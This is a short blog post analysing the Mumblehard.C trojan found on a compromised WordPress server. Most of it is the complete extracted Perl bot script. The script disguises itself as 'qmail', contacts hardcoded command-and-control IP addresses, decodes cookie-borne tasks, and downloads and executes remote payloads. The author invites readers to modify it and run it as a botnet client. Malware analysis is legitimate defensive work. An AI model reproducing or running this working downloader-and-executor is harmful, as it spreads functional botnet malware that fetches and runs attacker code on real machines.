Mumblehard.C trojan unpacked
Recently a server got infected with the Mumblehard.C trojan due to an unmaintained WordPress installation.
The trojan seems to have been installed to /var/tmp directory on the server and run via cron every 10 minutes to check for new comamdns of its Command&Control servers. The trojan is mainly used for spamming activity.
The executable itself is a simple C program, that unpacks an XORed perl-script that then gets executed in memory (overwriting its process name with “qmail”).
It seems that the Command&Control servers of the trojan are still active and haven’t changed in a few months, as there is an analysis of the malware sample available from December 2016 which still contacted the same IP-adresses:
https://detux.org/report.php?sha256=a4199f2a1539f0e9b5d18b81873ad65f332046b2a1c4f7e44b039fd93e369c87
It is interesting that these hosts haven’t been shutdown since then by the ISPs.
If you are interested, here is the momblehard.C PERL script as extracted from the malicious executable. You can modify the system() command and play botnet client yourself to monitor it 😉
use strict; use POSIX; use IO::Socket; use IO::Select; $0="qmail"; $|=1; my $ewblock = 11; my $eiprogr = 150; if ($^O eq "linux") { $ewblock = 11; $eiprogr = 115; } if ($^O eq "freebsd") { $ewblock = 35; $eiprogr = 36; } &main(); sub main { exit 0 unless defined(my $pid = fork); exit 0 if $pid; POSIX::setsid(); $SIG {$_} = "IGNORE" for (qw(HUP INT ILL FPE QUIT ABRT USR1 SEGV USR2 PIPE ALRM TERM CHLD)); umask 0; chdir "/"; open(STDIN, "</dev/null"); open(STDOUT, ">/dev/null"); open(STDERR, ">&STDOUT"); my $url = ["31.220.18.115", "5.101.142.81", "5.2.86.225", "5.135.42.98", "50.7.133.245", "5.9.157.230"]; my $tst = ["a".."z", "A".."Z"]; $tst = join("", @$tst[map { rand@ $tst }(1..(6 + int rand 5))]); my $dir = "/var/tmp"; if (open (F, ">", "/tmp/$tst")) { close F; unlink "/tmp/$tst "; $dir ="/tmp"; } my($header, $content); my($link, $file, $id, $command, $timeout) = ("en.wikipedia.org", "index.html", 1, 96, 10); foreach my $rs(@$url) { $header = "$dir/".time; $content = $header."1"; unlink $header if -f $header; unlink $content if -f $content; &http($rs, $timeout, $header, $content, 0); if (open(F, "<", $header)) { flock F, 1; my($test, $task) = (0, ""); while (<F>) { s/^\s*([^\s]?.*)$/$1/; s/^(.*[^\s])\s*$/$1/; next unless length $_; $test++ if $_ eq "HTTP/1.0 200 OK" || $_ eq "Connection: close"; $task = $1 if /^Set-Cookie: PHPSESSID=([^;]+)/; } close F; ($link, $file, $id, $command, $timeout) = &decd($task) if $test == 2 && length $task; } unlink $header if -f $header; unlink $content if -f $content; } exit 0 if !defined $command || $command!~/^16$/; $header = "$dir/".time; $content = "$dir/$file"; unlink $header if -f $header; unlink $content if -f $content; &http($link, $timeout, $header, $content, 1); my($resp, $size) = ("000", 0); if (open(F, "<", $header)) { flock F, 1; while (<F>) { s/^\s*([^\s]?.*)$/$1/; s/^(.*[^\s])\s*$/$1/; next unless length $_; $resp = $1 if /^HTTP\S+\s+(\d\d\d)/; } close F; } $size = (stat $content)[7] if -f $content; $size = 0 if !defined $size || $size!~/^\d+$/; if ($size > 0) { chmod 0755, $content; system "$content >/dev/null 2>&1"; } unlink $header if -f $header; unlink $content if -f $content; foreach my $rs(@$url) { $header = "/dev/null"; $content = $header; &http($rs, 10, $header, $content, 0, "$id.$resp.$size"); } exit 0; } sub xorl { my($line, $code, $xor, $lim) = (shift, "", 1, 16); foreach my $chr(split(//, $line)) { if ($xor == $lim) { $lim = 0 if $lim == 256; $lim += 16; $xor = 1; } $code. = pack("C", unpack("C", $chr) ^ $xor); $xor++; } return $code; } sub decd { my $data = pack("H*", shift);@ _ = unpack("C5", substr($data, 0, 5, "")); return (&xorl(substr($data, 0, shift, "")), &xorl(substr($data, 0, shift, "")), @_); } sub http { my($url, $timeout, $header, $content, $mode, $gecko) = @_; $gecko = "20100101" if !defined $gecko || !length $gecko; my($host, $port, $path) = $url = ~/^([^\/:]+):*(\d*)?(\/?[^\#]*)/; return unless $host; my $addr; if ($host = ~/^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ && $1 < 256 && $2 < 256 && $3 < 256 && $4 < 256) { $addr = pack("C4", $1, $2, $3, $4); } else { $addr = gethostbyname $host; } return unless $addr; $port || = 80; $path || = "/"; $addr = sockaddr_in($port, $addr); my $readers = IO::Select->new() or return; my $writers = IO::Select->new() or return; my $buffer = join("\x0D\x0A", "GET $path HTTP/1.1", "Host: $host", "User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:7.0.1) Gecko/$gecko Firefox/7.0.1", "Accept: text/html,application/xhtml+xml,application/xml;q=0.8,*/*;q=0.9", "Accept-Language: en-us,en;q=0.5", "Accept-Encoding: gzip, deflate", "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7", "Connection: close", "\x0D\x0A"); if ($mode) { $buffer = join("\x0D\x0A", "GET $path HTTP/1.0", "Host: $host", "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)", "Accept: text/html,*/*", "Connection: close", "\x0D\x0A"); } my $socket = IO::Socket::INET->new(Proto => "tcp", Type => SOCK_STREAM); return unless $socket; $socket->blocking(0); unless($socket->connect($addr)) { if ($! != $eiprogr && $! != $ewblock) { close $socket; return; } } $writers->add($socket); $timeout+=time; my $step = 0; while (1) { IO::Select->select(undef, undef, undef, 0.02); my $writable = (IO::Select->select(undef, $writers, undef, 0))[1]; foreach my $handle(@$writable) { if ($step == 0) { $step = 1 if $handle->connected; } if ($step == 1) { my $result = syswrite($handle, $buffer); if (defined $result && $result > 0) { substr($buffer, 0, $result) = ""; if (!length $buffer) { $readers->add($handle); $writers->remove($handle); $step = 2; } } elsif($! == $ewblock) { next; } else { $timeout = 0; } } } my $readable = (IO::Select->select($readers, undef, undef, 0))[0]; foreach my $handle(@$readable) { next if $step < 2; my $result; if ($step == 2) { $result = sysread($handle, $buffer, 8192, length $buffer); } else { $result = sysread($handle, $buffer, 8192); } if (16384 < length $buffer) { $timeout = 0; } elsif(defined $result) { if ($result > 0) { if ($step == 2) { my $offset = index($buffer, "\x0D\x0A\x0D\x0A"); next if $offset < 0; if (open(F, ">>", $header)) { flock F, 2; binmode F; print F substr($buffer, 0, $offset); close F; } substr($buffer, 0, $offset + 4) = ""; $step = 3; } if ($step == 3) { if (length $buffer) { if (open(F, ">>", $content)) { flock F, 2; binmode F; print F $buffer; close F; } $buffer = ""; } } next; } $timeout = 0; } elsif($! == $ewblock) { next; } else { $timeout = 0; } } if ($timeout < time) { foreach my $handle($writers->handles, $readers->handles) { $writers-> remove($handle) if $writers->exists($handle); $readers-> remove($handle) if $readers->exists($handle); close $handle; } return; } } }